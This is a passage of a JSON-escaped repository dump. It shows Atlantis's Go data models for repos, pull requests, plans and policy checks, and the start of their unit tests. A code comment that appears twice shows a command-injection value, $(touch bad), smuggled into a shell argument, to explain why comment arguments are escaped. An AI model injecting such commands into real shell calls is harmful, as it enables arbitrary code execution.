fmt.Errorf(\"invalid repo format %q, owner %q should not contain any /'s\", repoFullName, owner)\n\t}\n\tif strings.Contains(repo, \"/\") {\n\t\treturn Repo{}, fmt.Errorf(\"invalid repo format %q, repo %q should not contain any /'s\", repoFullName, owner)\n\t}\n\n\treturn Repo{\n\t\tFullName:          repoFullName,\n\t\tOwner:             owner,\n\t\tName:              repo,\n\t\tCloneURL:          authedCloneURL,\n\t\tSanitizedCloneURL: sanitizedCloneURL,\n\t\tVCSHost: VCSHost{\n\t\t\tType:     vcsHostType,\n\t\t\tHostname: cloneURLParsed.Hostname(),\n\t\t},\n\t}, nil\n}\n\ntype ApprovalStatus struct {\n\tIsApproved bool\n\tApprovedBy string\n\tDate       time.Time\n}\n\ntype MergeableStatus struct {\n\tIsMergeable bool\n\t// Short human readable explanation of why the PR is (or is not) mergeable\n\tReason string\n}\n\n// PullRequest is a VCS pull request.\n// GitLab calls these Merge Requests.\ntype PullRequest struct {\n\t// Num is the pull request number or ID.\n\tNum int\n\t// HeadCommit is a sha256 that points to the head of the branch that is being\n\t// pull requested into the base. If the pull request is from Bitbucket Cloud\n\t// the string will only be 12 characters long because Bitbucket Cloud\n\t// truncates its commit IDs.\n\tHeadCommit string\n\t// URL is the url of the pull request.\n\t// ex. \"https://github.com/runatlantis/atlantis/pull/1\"\n\tURL string\n\t// HeadBranch is the name of the head branch (the branch that is getting\n\t// merged into the base).\n\tHeadBranch string\n\t// BaseBranch is the name of the base branch (the branch that the pull\n\t// request is getting merged into).\n\tBaseBranch string\n\t// Author is the username of the pull request author.\n\tAuthor string\n\t// State will be one of Open or Closed.\n\t// Gitlab supports an additional \"merged\" state but Github doesn't so we map\n\t// merged to Closed.\n\tState PullRequestState\n\t// BaseRepo is the repository that the pull request will be merged into.\n\tBaseRepo Repo\n}\n\n// PullRequestOptions is used to set optional paralmeters for PullRequest\ntype PullRequestOptions struct {\n\t// When DeleteSourceBranchOnMerge flag is set to true VCS deletes the source branch after the PR is merged\n\t// Applied by GitLab & AzureDevops\n\tDeleteSourceBranchOnMerge bool\n\t// MergeMethod specifies the merge method for the VCS\n\t// Implemented only for Github\n\tMergeMethod string\n}\n\ntype PullRequestState int\n\nconst (\n\tOpenPullState PullRequestState = iota\n\tClosedPullState\n)\n\ntype PullRequestEventType int\n\nconst (\n\tOpenedPullEvent PullRequestEventType = iota\n\tUpdatedPullEvent\n\tClosedPullEvent\n\tOtherPullEvent\n)\n\nfunc (p PullRequestEventType) String() string {\n\tswitch p {\n\tcase OpenedPullEvent:\n\t\treturn \"opened\"\n\tcase UpdatedPullEvent:\n\t\treturn \"updated\"\n\tcase ClosedPullEvent:\n\t\treturn \"closed\"\n\tcase OtherPullEvent:\n\t\treturn \"other\"\n\t}\n\treturn \"<missing String() implementation>\"\n}\n\n// User is a VCS user.\n// During an autoplan, the user will be the Atlantis API user.\ntype User struct {\n\tUsername string\n\tTeams    []string\n}\n\n// ProjectLock represents a lock on a project.\ntype ProjectLock struct {\n\t// Project is the project that is being locked.\n\tProject Project\n\t// Pull is the pull request from which the command was run that\n\t// created this lock.\n\tPull PullRequest\n\t// User is the username of the user that ran the command\n\t// that created this lock.\n\tUser User\n\t// Workspace is the Terraform workspace that this\n\t// lock is being held against.\n\tWorkspace string\n\t// Time is the time at which the lock was first created.\n\tTime time.Time\n}\n\n// Project represents a Terraform project. Since there may be multiple\n// Terraform projects in a single repo we also include Path to the project\n// root relative to the repo root.\ntype Project struct {\n\t// ProjectName of the project\n\tProjectName string\n\t// RepoFullName is the owner and repo name, ex. \"runatlantis/atlantis\"\n\tRepoFullName string\n\t// Path to project root in the repo.\n\t// If \".\" then project is at root.\n\t// Never ends in \"/\".\n\t// todo: rename to RepoRelDir to match rest of project once we can separate\n\t// out how this is saved in boltdb vs. its usage everywhere else so we don't\n\t// break existing dbs.\n\tPath string\n}\n\nfunc (p Project) String() string {\n\t// TODO: Incorporate ProjectName?\n\treturn fmt.Sprintf(\"repofullname=%s path=%s\", p.RepoFullName, p.Path)\n}\n\n// Plan is the result of running an Atlantis plan command.\n// This model is used to represent a plan on disk.\ntype Plan struct {\n\t// Project is the project this plan is for.\n\tProject Project\n\t// LocalPath is the absolute path to the plan on disk\n\t// (versus the relative path from the repo root).\n\tLocalPath string\n}\n\n// GenerateLockKey creates a consistent lock key from a project and workspace.\n// This ensures the same format is used across all locking operations.\nfunc GenerateLockKey(project Project, workspace string) string {\n\treturn fmt.Sprintf(\"%s/%s/%s/%s\", project.RepoFullName, project.Path, workspace, project.ProjectName)\n}\n\n// NewProject constructs a Project. Use this constructor because it\n// sets Path correctly.\nfunc NewProject(repoFullName string, path string, projectName string) Project {\n\tpath = paths.Clean(path)\n\tif path == \"/\" {\n\t\tpath = \".\"\n\t}\n\treturn Project{\n\t\tProjectName:  projectName,\n\t\tRepoFullName: repoFullName,\n\t\tPath:         path,\n\t}\n}\n\n// VCSHost is a Git hosting provider, for example GitHub.\ntype VCSHost struct {\n\t// Hostname is the hostname of the VCS provider, ex. \"github.com\" or\n\t// \"github-enterprise.example.com\".\n\tHostname string\n\n\t// Type is which type of VCS host this is, ex. GitHub or GitLab.\n\tType VCSHostType\n}\n\ntype VCSHostType int\n\nconst (\n\tGithub VCSHostType = iota\n\tGitlab\n\tBitbucketCloud\n\tBitbucketServer\n\tAzureDevops\n\tGitea\n)\n\nfunc (h VCSHostType) String() string {\n\tswitch h {\n\tcase Github:\n\t\treturn \"Github\"\n\tcase Gitlab:\n\t\treturn \"Gitlab\"\n\tcase BitbucketCloud:\n\t\treturn \"BitbucketCloud\"\n\tcase BitbucketServer:\n\t\treturn \"BitbucketServer\"\n\tcase AzureDevops:\n\t\treturn \"AzureDevops\"\n\tcase Gitea:\n\t\treturn \"Gitea\"\n\t}\n\treturn \"<missing String() implementation>\"\n}\n\nfunc NewVCSHostType(t string) (VCSHostType, error) {\n\tswitch t {\n\tcase \"Github\":\n\t\treturn Github, nil\n\tcase \"Gitlab\":\n\t\treturn Gitlab, nil\n\tcase \"BitbucketCloud\":\n\t\treturn BitbucketCloud, nil\n\tcase \"BitbucketServer\":\n\t\treturn BitbucketServer, nil\n\tcase \"AzureDevops\":\n\t\treturn AzureDevops, nil\n\tcase \"Gitea\":\n\t\treturn Gitea, nil\n\t}\n\n\treturn -1, fmt.Errorf(\"%q is not a valid type\", t)\n}\n\n// SplitRepoFullName splits a repo full name up into its owner and repo\n// name segments. If the repoFullName is malformed, may return empty\n// strings for owner or repo.\n// Ex. runatlantis/atlantis => (runatlantis, atlantis)\n//\n//\tgitlab/subgroup/runatlantis/atlantis => (gitlab/subgroup/runatlantis, atlantis)\n//\tazuredevops/project/atlantis => (azuredevops/project, atlantis)\nfunc SplitRepoFullName(repoFullName string) (owner string, repo string) {\n\tlastSlashIdx := strings.LastIndex(repoFullName, \"/\")\n\tif lastSlashIdx == -1 || lastSlashIdx == len(repoFullName)-1 {\n\t\treturn \"\", \"\"\n\t}\n\n\treturn repoFullName[:lastSlashIdx], repoFullName[lastSlashIdx+1:]\n}\n\n// PlanSuccess is the result of a successful plan.\ntype PlanSuccess struct {\n\t// TerraformOutput is the output from Terraform of running plan.\n\tTerraformOutput string\n\t// LockURL is the full URL to the lock held by this plan.\n\tLockURL string\n\t// RePlanCmd is the command that users should run to re-plan this project.\n\tRePlanCmd string\n\t// ApplyCmd is the command that users should run to apply this plan.\n\tApplyCmd string\n\t// MergedAgain is true if we're using the checkout merge strategy and the\n\t// branch we're merging into had been updated, and we had to merge again\n\t// before planning\n\tMergedAgain bool\n}\n\ntype PolicySetResult struct {\n\tPolicySetName string\n\tPolicyOutput  string\n\tPassed        bool\n\tReqApprovals  int\n\tCurApprovals  int\n}\n\n// PolicySetApproval tracks the number of approvals a given policy set has.\ntype PolicySetStatus struct {\n\tPolicySetName string\n\tPassed        bool\n\tApprovals     int\n}\n\n// Summary regexes\nvar (\n\treChangesOutside = regexp.MustCompile(`Note: Objects have changed outside of Terraform`)\n\trePlanChanges    = regexp.MustCompile(`Plan: (?:(\\d+) to import, )?(\\d+) to add, (\\d+) to change, (\\d+) to destroy.`)\n\treNoChanges      = regexp.MustCompile(`No changes. (Infrastructure is up-to-date|Your infrastructure matches the configuration).`)\n)\n\n// Summary extracts summaries of plan changes from TerraformOutput.\nfunc (p *PlanSuccess) Summary() string {\n\tnote := \"\"\n\tif match := reChangesOutside.FindString(p.TerraformOutput); match != \"\" {\n\t\tnote = \"\\n**\" + match + \"**\\n\"\n\t}\n\treturn note + p.DiffSummary()\n}\n\n// DiffSummary extracts one line summary of plan changes from TerraformOutput.\nfunc (p *PlanSuccess) DiffSummary() string {\n\tif match := rePlanChanges.FindString(p.TerraformOutput); match != \"\" {\n\t\treturn match\n\t}\n\treturn reNoChanges.FindString(p.TerraformOutput)\n}\n\n// NoChanges returns true if the plan has no changes.\nfunc (p *PlanSuccess) NoChanges() bool {\n\treturn reNoChanges.MatchString(p.TerraformOutput)\n}\n\n// Diff Markdown regexes\nvar (\n\tdiffKeywordRegex = regexp.MustCompile(`(?m)^( +)([-+~]\\s)(.*)(\\s=\\s|\\s->\\s|<<|\\{|\\(known after apply\\)| {2,}[^ ]+:.*)(.*)`)\n\tdiffListRegex    = regexp.MustCompile(`(?m)^( +)([-+~]\\s)(\".*\",)`)\n\tdiffTildeRegex   = regexp.MustCompile(`(?m)^~`)\n)\n\n// DiffMarkdownFormattedTerraformOutput formats the Terraform output to match diff markdown format\nfunc (p PlanSuccess) DiffMarkdownFormattedTerraformOutput() string {\n\tformattedTerraformOutput := diffKeywordRegex.ReplaceAllString(p.TerraformOutput, \"$2$1$3$4$5\")\n\tformattedTerraformOutput = diffListRegex.ReplaceAllString(formattedTerraformOutput, \"$2$1$3\")\n\tformattedTerraformOutput = diffTildeRegex.ReplaceAllString(formattedTerraformOutput, \"!\")\n\n\treturn strings.TrimSpace(formattedTerraformOutput)\n}\n\n// Stats returns plan change stats and contextual information.\nfunc (p PlanSuccess) Stats() PlanSuccessStats {\n\treturn NewPlanSuccessStats(p.TerraformOutput)\n}\n\n// PolicyCheckResults is the result of a successful policy check run.\ntype PolicyCheckResults struct {\n\tPreConftestOutput  string\n\tPostConftestOutput string\n\t// PolicySetResults is the output from policy check binary(conftest|opa)\n\tPolicySetResults []PolicySetResult\n\t// LockURL is the full URL to the lock held by this policy check.\n\tLockURL string\n\t// RePlanCmd is the command that users should run to re-plan this project.\n\tRePlanCmd string\n\t// ApplyCmd is the command that users should run to apply this plan.\n\tApplyCmd string\n\t// ApprovePoliciesCmd is the command that users should run to approve policies for this plan.\n\tApprovePoliciesCmd string\n\t// HasDiverged is true if we're using the checkout merge strategy and the\n\t// branch we're merging into has been updated since we cloned and merged\n\t// it.\n\tHasDiverged bool\n}\n\n// ImportSuccess is the result of a successful import run.\ntype ImportSuccess struct {\n\t// Output is the output from terraform import\n\tOutput string\n\t// RePlanCmd is the command that users should run to re-plan this project.\n\tRePlanCmd string\n}\n\n// StateRmSuccess is the result of a successful state rm run.\ntype StateRmSuccess struct {\n\t// Output is the output from terraform state rm\n\tOutput string\n\t// RePlanCmd is the command that users should run to re-plan this project.\n\tRePlanCmd string\n}\n\nfunc (p *PolicyCheckResults) CombinedOutput() string {\n\tcombinedOutput := \"\"\n\tfor _, psResult := range p.PolicySetResults {\n\t\t// accounting for json output from conftest.\n\t\tfor psResultLine := range strings.SplitSeq(psResult.PolicyOutput, \"\\\\n\") {\n\t\t\tcombinedOutput = fmt.Sprintf(\"%s\\n%s\", combinedOutput, psResultLine)\n\t\t}\n\t}\n\treturn combinedOutput\n}\n\n// Summary extracts one line summary of each policy check.\nfunc (p *PolicyCheckResults) Summary() string {\n\tnote := \"\"\n\tfor _, policySetResult := range p.PolicySetResults {\n\t\tr := regexp.MustCompile(`\\d+ tests?, \\d+ passed, \\d+ warnings?, \\d+ failures?, \\d+ exceptions?(, \\d skipped)?`)\n\t\tif match := r.FindString(policySetResult.PolicyOutput); match != \"\" {\n\t\t\tnote = fmt.Sprintf(\"%s\\npolicy set: %s: %s\", note, policySetResult.PolicySetName, match)\n\t\t}\n\t}\n\treturn strings.Trim(note, \"\\n\")\n}\n\n// PolicyCleared is used to determine if policies have all succeeded or been approved.\nfunc (p *PolicyCheckResults) PolicyCleared() bool {\n\tpassing := true\n\tfor _, policySetResult := range p.PolicySetResults {\n\t\tif !policySetResult.Passed && (policySetResult.CurApprovals != policySetResult.ReqApprovals) {\n\t\t\tpassing = false\n\t\t}\n\t}\n\treturn passing\n}\n\n// PolicySummary returns a summary of the current approval state of policy sets.\nfunc (p *PolicyCheckResults) PolicySummary() string {\n\tvar summary []string\n\tfor _, policySetResult := range p.PolicySetResults {\n\t\tif policySetResult.Passed {\n\t\t\tsummary = append(summary, fmt.Sprintf(\"policy set: %s: passed.\", policySetResult.PolicySetName))\n\t\t} else if policySetResult.CurApprovals == policySetResult.ReqApprovals {\n\t\t\tsummary = append(summary, fmt.Sprintf(\"policy set: %s: approved.\", policySetResult.PolicySetName))\n\t\t} else {\n\t\t\tsummary = append(summary, fmt.Sprintf(\"policy set: %s: requires: %d approval(s), have: %d.\", policySetResult.PolicySetName, policySetResult.ReqApprovals, policySetResult.CurApprovals))\n\t\t}\n\t}\n\treturn strings.Join(summary, \"\\n\")\n}\n\ntype VersionSuccess struct {\n\tVersionOutput string\n}\n\n// PullStatus is the current status of a pull request that is in progress.\ntype PullStatus struct {\n\t// Projects are the projects that have been modified in this pull request.\n\tProjects []ProjectStatus\n\t// Pull is the original pull request model.\n\tPull PullRequest\n}\n\n// StatusCount returns the number of projects that have status.\nfunc (p PullStatus) StatusCount(status ProjectPlanStatus) int {\n\tc := 0\n\tfor _, pr := range p.Projects {\n\t\tif pr.Status == status {\n\t\t\tc++\n\t\t}\n\t}\n\treturn c\n}\n\n// ProjectStatus is the status of a specific project.\ntype ProjectStatus struct {\n\tWorkspace   string\n\tRepoRelDir  string\n\tProjectName string\n\t// PolicySetApprovals tracks the approval status of every PolicySet for a Project.\n\tPolicyStatus []PolicySetStatus\n\t// Status is the status of where this project is at in the planning cycle.\n\tStatus ProjectPlanStatus\n}\n\n// ProjectPlanStatus is the status of where this project is at in the planning\n// cycle.\ntype ProjectPlanStatus int\n\nconst (\n\t// ErroredPlanStatus means that this plan has an error or the apply has an\n\t// error.\n\tErroredPlanStatus ProjectPlanStatus = iota\n\t// PlannedPlanStatus means that a plan has been successfully generated but\n\t// not yet applied.\n\tPlannedPlanStatus\n\t// PlannedNoChangesPlanStatus means that a plan has been successfully\n\t// generated with \"No changes\" and not yet applied.\n\tPlannedNoChangesPlanStatus\n\t// ErroredApplyStatus means that a plan has been generated but there was an\n\t// error while applying it.\n\tErroredApplyStatus\n\t// AppliedPlanStatus means that a plan has been generated and applied\n\t// successfully.\n\tAppliedPlanStatus\n\t// DiscardedPlanStatus means that there was an unapplied plan that was\n\t// discarded due to a project being unlocked\n\tDiscardedPlanStatus\n\t// ErroredPolicyCheckStatus means that there was an unapplied plan that was\n\t// discarded due to a project being unlocked\n\tErroredPolicyCheckStatus\n\t// PassedPolicyCheckStatus means that there was an unapplied plan that was\n\t// discarded due to a project being unlocked\n\tPassedPolicyCheckStatus\n)\n\n// String returns a string representation of the status.\nfunc (p ProjectPlanStatus) String() string {\n\tswitch p {\n\tcase ErroredPlanStatus:\n\t\treturn \"plan_errored\"\n\tcase PlannedPlanStatus:\n\t\treturn \"planned\"\n\tcase PlannedNoChangesPlanStatus:\n\t\treturn \"planned_no_changes\"\n\tcase ErroredApplyStatus:\n\t\treturn \"apply_errored\"\n\tcase AppliedPlanStatus:\n\t\treturn \"applied\"\n\tcase DiscardedPlanStatus:\n\t\treturn \"plan_discarded\"\n\tcase ErroredPolicyCheckStatus:\n\t\treturn \"policy_check_errored\"\n\tcase PassedPolicyCheckStatus:\n\t\treturn \"policy_check_passed\"\n\tdefault:\n\t\tpanic(\"missing String() impl for ProjectPlanStatus\")\n\t}\n}\n\n// TeamAllowlistCheckerContext defines the context for a TeamAllowlistChecker to verify\n// command permissions.\ntype TeamAllowlistCheckerContext struct {\n\t// BaseRepo is the repository that the pull request will be merged into.\n\tBaseRepo Repo\n\n\t// The name of the command that is being executed, i.e. 'plan', 'apply' etc.\n\tCommandName string\n\n\t// EscapedCommentArgs are the extra arguments that were added to the atlantis\n\t// command, ex. atlantis plan -- -target=resource. We then escape them\n\t// by adding a \\ before each character so that they can be used within\n\t// sh -c safely, i.e. sh -c \"terraform plan $(touch bad)\".\n\tEscapedCommentArgs []string\n\n\t// HeadRepo is the repository that is getting merged into the BaseRepo.\n\t// If the pull request branch is from the same repository then HeadRepo will\n\t// be the same as BaseRepo.\n\tHeadRepo Repo\n\n\t// Log is a logger that's been set up for this context.\n\tLog logging.SimpleLogging\n\n\t// Pull is the pull request we're responding to.\n\tPull PullRequest\n\n\t// ProjectName is the name of the project set in atlantis.yaml. If there was\n\t// no name this will be an empty string.\n\tProjectName string\n\n\t// RepoDir is the absolute path to the repo root\n\tRepoDir string\n\n\t// RepoRelDir is the directory of this project relative to the repo root.\n\tRepoRelDir string\n\n\t// User is the user that triggered this command.\n\tUser User\n\n\t// Verbose is true when the user would like verbose output.\n\tVerbose bool\n\n\t// Workspace is the Terraform workspace this project is in. It will always\n\t// be set.\n\tWorkspace string\n\n\t// API is true if plan/apply by API endpoints\n\tAPI bool\n}\n\n// WorkflowHookCommandContext defines the context for a pre and post workflow_hooks that will\n// be executed before workflows.\ntype WorkflowHookCommandContext struct {\n\t// BaseRepo is the repository that the pull request will be merged into.\n\tBaseRepo Repo\n\t// The name of the command that is being executed, i.e. 'plan', 'apply' etc.\n\tCommandName string\n\t// Set true if there were any errors during the command execution\n\tCommandHasErrors bool\n\t// EscapedCommentArgs are the extra arguments that were added to the atlantis\n\t// command, ex. atlantis plan -- -target=resource. We then escape them\n\t// by adding a \\ before each character so that they can be used within\n\t// sh -c safely, i.e. sh -c \"terraform plan $(touch bad)\".\n\tEscapedCommentArgs []string\n\t// HeadRepo is the repository that is getting merged into the BaseRepo.\n\t// If the pull request branch is from the same repository then HeadRepo will\n\t// be the same as BaseRepo.\n\tHeadRepo Repo\n\t// HookDescription is a description of the hook that is being executed.\n\tHookDescription string\n\t// UUID for reference\n\tHookID string\n\t// HookStepName is the name of the step that is being executed.\n\tHookStepName string\n\t// Log is a logger that's been set up for this context.\n\tLog logging.SimpleLogging\n\t// Pull is the pull request we're responding to.\n\tPull PullRequest\n\t// ProjectName is the name of the project set in atlantis.yaml. If there was\n\t// no name this will be an empty string.\n\tProjectName string\n\t// RepoRelDir is the directory of this project relative to the repo root.\n\tRepoRelDir string\n\t// User is the user that triggered this command.\n\tUser User\n\t// Verbose is true when the user would like verbose output.\n\tVerbose bool\n\t// Workspace is the Terraform workspace this project is in. It will always\n\t// be set.\n\tWorkspace string\n\t// API is true if plan/apply by API endpoints\n\tAPI bool\n}\n\n// PlanSuccessStats holds stats for a plan.\ntype PlanSuccessStats struct {\n\tImport, Add, Change, Destroy int\n\tChanges, ChangesOutside      bool\n}\n\nfunc NewPlanSuccessStats(output string) PlanSuccessStats {\n\tm := rePlanChanges.FindStringSubmatch(output)\n\n\ts := PlanSuccessStats{\n\t\tChangesOutside: reChangesOutside.MatchString(output),\n\t\tChanges:        len(m) > 0,\n\t}\n\n\tif s.Changes {\n\t\t// We can skip checking the error here as we can assume\n\t\t// Terraform output will always render an integer on these\n\t\t// blocks.\n\t\ts.Import, _ = strconv.Atoi(m[1])\n\t\ts.Add, _ = strconv.Atoi(m[2])\n\t\ts.Change, _ = strconv.Atoi(m[3])\n\t\ts.Destroy, _ = strconv.Atoi(m[4])\n\t}\n\n\treturn s\n}\n"
  },
  {
    "path": "server/events/models/models_test.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage models_test\n\nimport (\n\t\"fmt\"\n\t\"testing\"\n\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/events/vcs/azuredevops\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nfunc TestNewRepo_EmptyRepoFullName(t *testing.T) {\n\t_, err := models.NewRepo(models.Github, \"\", \"https://github.com/notowner/repo.git\", \"u\", \"p\")\n\tErrEquals(t, \"repoFullName can't be empty\", err)\n}\n\nfunc TestNewRepo_EmptyCloneURL(t *testing.T) {\n\t_, err := models.NewRepo(models.Github, \"owner/repo\", \"\", \"u\", \"p\")\n\tErrEquals(t, \"cloneURL can't be empty\", err)\n}\n\nfunc TestNewRepo_InvalidCloneURL(t *testing.T) {\n\t_, err := models.NewRepo(models.Github, \"owner/repo\", \":\", \"u\", \"p\")\n\tErrEquals(t, \"invalid clone url: parse \\\":.git\\\": missing protocol scheme\", err)\n}\n\nfunc TestNewRepo_CloneURLWrongRepo(t *testing.T) {\n\t_, err := models.NewRepo(models.Github, \"owner/repo\", \"https://github.com/notowner/repo.git\", \"u\", \"p\")\n\tErrEquals(t, `expected clone url to have path \"/owner/repo.git\" but had \"/notowner/repo.git\"`, err)\n}\n\nfunc TestNewRepo_EmptyAzureDevopsProject(t *testing.T) {\n\t_, err := models.NewRepo(models.AzureDevops, \"\", \"https://dev.azure.com/notowner/project/_git/repo\", \"u\", \"p\")\n\tErrEquals(t, \"repoFullName can't be empty\", err)\n}\n\n// For bitbucket server we don't validate the clone URL because the callers\n// are actually constructing it.\nfunc TestNewRepo_CloneURLBitbucketServer(t *testing.T) {\n\trepo, err := models.NewRepo(models.BitbucketServer, \"owner/repo\", \"http://mycorp.com:7990/scm/at/atlantis-example.git\", \"u\", \"p\")\n\tOk(t, err)\n\tEquals(t, models.Repo{\n\t\tFullName:          \"owner/repo\",\n\t\tOwner:             \"owner\",\n\t\tName:              \"repo\",\n\t\tCloneURL:          \"http://u:p@mycorp.com:7990/scm/at/atlantis-example.git\",\n\t\tSanitizedCloneURL: \"http://u:<redacted>@mycorp.com:7990/scm/at/atlantis-example.git\",\n\t\tVCSHost: models.VCSHost{\n\t\t\tHostname: \"mycorp.com\",\n\t\t\tType:     models.BitbucketServer,\n\t\t},\n\t}, repo)\n}\n\n// If the clone URL contains a space, NewRepo() should encode it\nfunc TestNewRepo_CloneURLContainsSpace(t *testing.T) {\n\trepo, err := models.NewRepo(models.AzureDevops, \"owner/project space/repo\", \"https://dev.azure.com/owner/project space/repo\", \"u\", \"p\")\n\tOk(t, err)\n\tEquals(t, repo.CloneURL, \"https://u:p@dev.azure.com/owner/project%20space/repo\")\n\tEquals(t, repo.SanitizedCloneURL, \"https://u:<redacted>@dev.azure.com/owner/project%20space/repo\")\n\n\trepo, err = models.NewRepo(models.BitbucketCloud, \"owner/repo space\", \"https://bitbucket.org/owner/repo space\", \"u\", \"p\")\n\tOk(t, err)\n\tEquals(t, repo.CloneURL, \"https://u:p@bitbucket.org/owner/repo%20space.git\")\n\tEquals(t, repo.SanitizedCloneURL, \"https://u:<redacted>@bitbucket.org/owner/repo%20space.git\")\n}\n\nfunc TestNewRepo_FullNameWrongFormat(t *testing.T) {\n\tcases := []struct {\n\t\trepoFullName string\n\t\texpErr       string\n\t}{\n\t\t{\n\t\t\t\"owner/repo/extra\",\n\t\t\t`invalid repo format \"owner/repo/extra\", owner \"owner/repo\" should not contain any /'s`,\n\t\t},\n\t\t{\n\t\t\t\"/\",\n\t\t\t`invalid repo format \"/\", owner \"\" or repo \"\" was empty`,\n\t\t},\n\t\t{\n\t\t\t\"//\",\n\t\t\t`invalid repo format \"//\", owner \"\" or repo \"\" was empty`,\n\t\t},\n\t\t{\n\t\t\t\"///\",\n\t\t\t`invalid repo format \"///\", owner \"\" or repo \"\" was empty`,\n\t\t},\n\t\t{\n\t\t\t\"a/\",\n\t\t\t`invalid repo format \"a/\", owner \"\" or repo \"\" was empty`,\n\t\t},\n\t\t{\n\t\t\t\"/b\",\n\t\t\t`invalid repo format \"/b\", owner \"\" or repo \"b\" was empty`,\n\t\t},\n\t}\n\tfor _, c := range cases {\n\t\tt.Run(c.repoFullName, func(t *testing.T) {\n\t\t\tcloneURL := fmt.Sprintf(\"https://github.com/%s.git\", c.repoFullName)\n\t\t\t_, err := models.NewRepo(models.Github, c.repoFullName, cloneURL, \"u\", \"p\")\n\t\t\tErrEquals(t, c.expErr, err)\n\t\t})\n\t}\n}\n\n// If the clone url doesn't end with .git, and VCS is not Azure DevOps, it is appended\nfunc TestNewRepo_MissingDotGit(t *testing.T) {\n\trepo, err := models.NewRepo(models.BitbucketCloud, \"owner/repo\", \"https://bitbucket.org/owner/repo\", \"u\", \"p\")\n\tOk(t, err)\n\tEquals(t, repo.CloneURL, \"https://u:p@bitbucket.org/owner/repo.git\")\n\tEquals(t, repo.SanitizedCloneURL, \"https://u:<redacted>@bitbucket.org/owner/repo.git\")\n}\n\nfunc TestNewRepo_HTTPAuth(t *testing.T) {\n\t// When the url has http the auth should be added.\n\trepo, err := models.NewRepo(models.Github, \"owner/repo\", \"http://github.com/owner/repo.git\", \"u\", \"p\")\n\tOk(t, err)\n\tEquals(t, models.Repo{\n\t\tVCSHost: models.VCSHost{\n\t\t\tHostname: \"github.com\",\n\t\t\tType:     models.Github,\n\t\t},\n\t\tSanitizedCloneURL: \"http://u:<redacted>@github.com/owner/repo.git\",\n\t\tCloneURL:          \"http://u:p@github.com/owner/repo.git\",\n\t\tFullName:          \"owner/repo\",\n\t\tOwner:             \"owner\",\n\t\tName:              \"repo\",\n\t}, repo)\n}\n\nfunc TestNewRepo_HTTPSAuth(t *testing.T) {\n\t// When the url has https the auth should be added.\n\trepo, err := models.NewRepo(models.Github, \"owner/repo\", \"https://github.com/owner/repo.git\", \"u\", \"p\")\n\tOk(t, err)\n\tEquals(t, models.Repo{\n\t\tVCSHost: models.VCSHost{\n\t\t\tHostname: \"github.com\",\n\t\t\tType:     models.Github,\n\t\t},\n\t\tSanitizedCloneURL: \"https://u:<redacted>@github.com/owner/repo.git\",\n\t\tCloneURL:          \"https://u:p@github.com/owner/repo.git\",\n\t\tFullName:          \"owner/repo\",\n\t\tOwner:             \"owner\",\n\t\tName:              \"repo\",\n\t}, repo)\n}\n\nfunc TestProject_String(t *testing.T) {\n\tEquals(t, \"repofullname=owner/repo path=my/path\", (models.Project{\n\t\tRepoFullName: \"owner/repo\",\n\t\tPath:         \"my/path\",\n\t}).String())\n}\n\nfunc TestNewProject(t *testing.T) {\n\tcases := []struct {\n\t\trepo       string\n\t\tpath       string\n\t\tname       string\n\t\texpProject models.Project\n\t}{\n\t\t{\n\t\t\trepo: \"foo/bar\",\n\t\t\tpath: \"/\",\n\t\t\tname: \"\",\n\t\t\texpProject: models.Project{\n\t\t\t\tProjectName:  \"\",\n\t\t\t\tRepoFullName: \"foo/bar\",\n\t\t\t\tPath:         \".\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\trepo: \"baz/foo\",\n\t\t\tpath: \"./another/path\",\n\t\t\tname: \"somename\",\n\t\t\texpProject: models.Project{\n\t\t\t\tProjectName:  \"somename\",\n\t\t\t\tRepoFullName: \"baz/foo\",\n\t\t\t\tPath:         \"another/path\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\trepo: \"baz/foo\",\n\t\t\tpath: \".\",\n\t\t\tname: \"somename\",\n\t\t\texpProject: models.Project{\n\t\t\t\tProjectName:  \"somename\",\n\t\t\t\tRepoFullName: \"baz/foo\",\n\t\t\t\tPath:         \".\",\n\t\t\t},\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(fmt.Sprintf(\"%s_%s\", c.name, c.path), func(t *testing.T) {\n\t\t\tp := models.NewProject(c.repo, c.path, c.name)\n\t\t\tEquals(t, c.expProject, p)\n\t\t})\n\t}\n}\n\nfunc TestVCSHostType_ToString(t *testing.T) {\n\tcases := []struct {\n\t\tvcsType models.VCSHostType\n\t\texp     string\n\t}{\n\t\t{\n\t\t\tmodels.Github,\n\t\t\t\"Github\",\n\t\t},\n\t\t{\n\t\t\tmodels.Gitlab,\n\t\t\t\"Gitlab\",\n\t\t},\n\t\t{\n\t\t\tmodels.BitbucketCloud,\n\t\t\t\"BitbucketCloud\",\n\t\t},\n\t\t{\n\t\t\tmodels.BitbucketServer,\n\t\t\t\"BitbucketServer\",\n\t\t},\n\t\t{\n\t\t\tmodels.AzureDevops,\n\t\t\t\"AzureDevops\",\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.exp, func(t *testing.T) {\n\t\t\tEquals(t, c.exp, c.vcsType.String())\n\t\t})\n\t}\n}\n\nfunc TestSplitRepoFullName(t *testing.T) {\n\tcases := []struct {\n\t\tinput    string\n\t\texpOwner string\n\t\texpRepo  